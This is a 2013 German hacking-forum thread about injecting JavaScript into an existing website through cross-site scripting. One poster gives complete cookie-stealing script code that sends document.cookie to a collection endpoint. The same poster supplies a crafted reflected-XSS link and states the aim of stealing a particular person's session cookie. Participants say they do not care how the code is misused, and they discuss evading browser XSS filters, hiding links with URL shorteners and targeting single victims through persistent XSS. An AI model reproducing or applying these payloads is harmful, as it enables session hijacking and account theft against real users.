[XSS] Javascript in vorhandenen Quellcode einschleusen - Seite 2

Dr.ChAoS · 10.10.2013, 21:11

Zitat von |xratzrattillox|

Was macht ihr denn da für umständliches zeug?

Warum umständlich? Einfacher gehts ja fast nicht mehr

Zitat von |xratzrattillox|

Wenn ihm jeder jetzt ausführlich hilft klaut er bloß accounts und weiß garnicht wie das eigentlich funktioniert!

Ehrlich gesagt ist es mir egal wer damit was macht.

|xratzrattillox| · 11.10.2013, 09:38

Naja, wenn ich einer bestimmten Person den Sessioncookie stehlen wollte, würde ich ihr einen manipulierten Link schicken:
Hier würde mein Script liegen: http://localhost/script.js
Der Inhalt des Scripts:

function createXMLHttpObj(){
	if(window.XMLHttpRequest){ return new XMLHttpRequest(); }
	return new ActiveXObject("Microsoft.XMLHTTP");
}
function sendRequest(method, url, async, data){
	xmlhttp = createXMLHttpObj();
	if(!xmlhttp){ return; }
	xmlhttp.open(method, url, async);
	if(method == "POST"){ xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;'); }
	xmlhttp.send(data);
	if(!async){ return xmlhttp.responseText; }
}
sendRequest("POST", "http://localhost/x.php", true, document.cookie);
document.location = "http://zwinky.com";

Manipulierter Link:
http://zwinky..."><script src=http://localhost/script.js></script>

Fertig. Ist eben NICHT persistent und daher sehr stealthy

- ratz

Dr.ChAoS · 11.10.2013, 14:07

Das ist zwar auch eine Möglichkeit, diese hat aber drei entscheidende Nachteile:

1. Browser wie Chrome und der IE besitzen eine XSS-Protection, d.h. Script Tags werden aus der URL gefiltert. Mir ist nur der Firefox noch bekannt welcher keinen derartigen Schutz bietet.

2. Die Urls sind nicht wirklich "stealthy" wie ich finde. Weil wenn ich einen Script Tag oder eine ewig lange Kette von %27%22%3E... in der URL entdecke werde ich da sicher nicht drauf klicken^^. Vielleicht klappt das bei manchen Leuten noch mit einem URL-Shortener wie bit.ly.

3. Da diese Methode nicht persistent ist bekommt man die Daten von Usern welche zufällig auf dem Profil landen nicht.
Kann aber wie du schon gesagt hast auch ein Vorteil sein, denn dann merkt auch keiner was bzw nicht so schnell.

|xratzrattillox| · 11.10.2013, 14:11

1. Stimme ich voll und ganz zu
2. Hm...meine Erfahrungn zeigen, dass das den meisten Leuten Wurst is
3. ob persistent oder reflekiert muss man je nach Anwendungsfall selbst entscheiden.
Außerdem könnt ihr beim persistenten trotzdem immernoch eine Filterfunktion einbauen, sodass ihr nur die Cookies einer bestimmten Person bekommt

- ratz